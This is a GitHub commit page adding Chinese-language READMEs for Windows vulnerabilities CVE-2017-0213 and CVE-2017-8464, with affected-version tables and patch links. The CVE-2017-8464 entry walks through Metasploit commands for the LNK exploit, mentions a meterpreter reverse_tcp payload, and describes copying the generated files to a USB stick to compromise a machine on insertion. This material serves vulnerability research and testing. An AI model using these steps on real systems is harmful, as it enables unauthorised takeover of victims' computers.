Skip to content

Commit

Permalink
update readme
Browse files Browse the repository at this point in the history
  • Loading branch information
Ascotbe committed Aug 25, 2020
1 parent 399b8b7 commit 92fbd0c
Show file tree
Hide file tree
Showing 3 changed files with 104 additions and 0 deletions.
1 change: 1 addition & 0 deletions CVE-2003-0352/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -77,3 +77,4 @@ run

查看系统信息

![CVE-2003-0352_win2000_x86_msf2](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2003-0352_win2000_x86_msf2.png?raw=true)
37 changes: 37 additions & 0 deletions CVE-2017-0213/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
### CVE-2017-0213

#### 描述

特权提升存在于Windows COM封装。攻击者成功地利用该漏洞可以运行任意代码具有较高的特权。为了利用该漏洞,攻击者可以运行一个特制的应用程序,可以利用漏洞。此漏洞本身不允许任意代码运行。但是,该漏洞可以与一个或多个漏洞(例如远程代码执行漏洞和另一个特权级别)一起使用,可以在运行时利用提升特权。

#### 影响版本

| Product | Version | Update | Edition | Tested |
| ------------------- | ------- | ------ | ------- | ------ |
| Windows 10 | - | | | |
| Windows 10 | 1511 | | | |
| Windows 10 | 1607 | | | |
| Windows 10 | 1703 | | | |
| Windows 7 | | SP1 | | |
| Windows 8.1 | | | | |
| Windows Rt 8.1 | | | | |
| Windows Server 2008 | | SP2 | | |
| Windows Server 2008 | R2 | SP1 | | |
| Windows Server 2012 | - | | | |
| Windows Server 2012 | R2 | | | |
| Windows Server 2016 | | | | |

#### 修复补丁

```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0213
```

#### 利用方式

编译环境

- VS2019(V120)X64 Release
- VS2019(V120)X32 Release

![CVE-2017-0213_win7_x86](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2017-0213_win7_x86.gif?raw=true)
66 changes: 66 additions & 0 deletions CVE-2017-8464/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
### CVE-2017-8464

#### 描述

该漏洞的原理同2010年美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的穿透核设施隔离网络的漏洞(CVE-2010-2568)非常类似,当存在漏洞的电脑被插上保存有漏洞文件的U盘时,不需要额外操作,漏洞攻击程序就可以执行并完全控制用户的电脑系统

#### 影响版本

| Product | Version | Update | Edition | Tested |
| ------------------- | ------- | ------ | ------- | ------ |
| Windows 10 | - | | | |
| Windows 10 | 1511 | | | |
| Windows 10 | 1607 | | | |
| Windows 10 | 1703 | | | |
| Windows 7 | - | SP1 | | |
| Windows 8.1 | - | | | |
| Windows Rt 8.1 | - | | | |
| Windows Server 2008 | - | SP2 | | |
| Windows Server 2008 | R2 | SP1 | itanium | |
| Windows Server 2008 | R2 | SP1 | x64 | |
| Windows Server 2012 | - | | | |
| Windows Server 2012 | R2 | | | |
| Windows Server 2016 | - | | | |

#### 修复补丁

```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464
```

#### 利用方式

直接用msf来利用

```
use exploits/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/x64/exec #要是x86使用windows/exec,还可以设置后门windows/x64/meterpreter/reverse_tcp
set cmd cmd.exe
set EXITFUNC thread
run
```

生成文件

![CVE-2017-8464_win7_x86_msf](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2017-8464_win7_x86_msf.png?raw=true)

运行命令把它拷贝到test目录下

```
cp -r /root/.msf4/local/ /root/test
```

![CVE-2017-8464_win7_x86_msf2](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2017-8464_win7_x86_msf2.png?raw=true)

接着把这些文件全部拷贝到U盘中,然后插上电脑即可

测试机器是虚拟机,所以需要打一个补丁**KB2533623**和装一个驱动**Intel(R)_USB_3.0_eXtensible_Host_Controller_Driver_5.0.4.43_v2**,然后USB设置为3.0,windows7的补丁放在了这里

```
https://github.com/Ascotbe/WinKernelhub/tree/master/Patch
```

GIF图如下

![1](https://github.com/Ascotbe/Random-img/blob/master/WindowsKernelExploits/CVE-2017-8464_win7_x86.gif?raw=true)

0 comments on commit 92fbd0c

Please sign in to comment.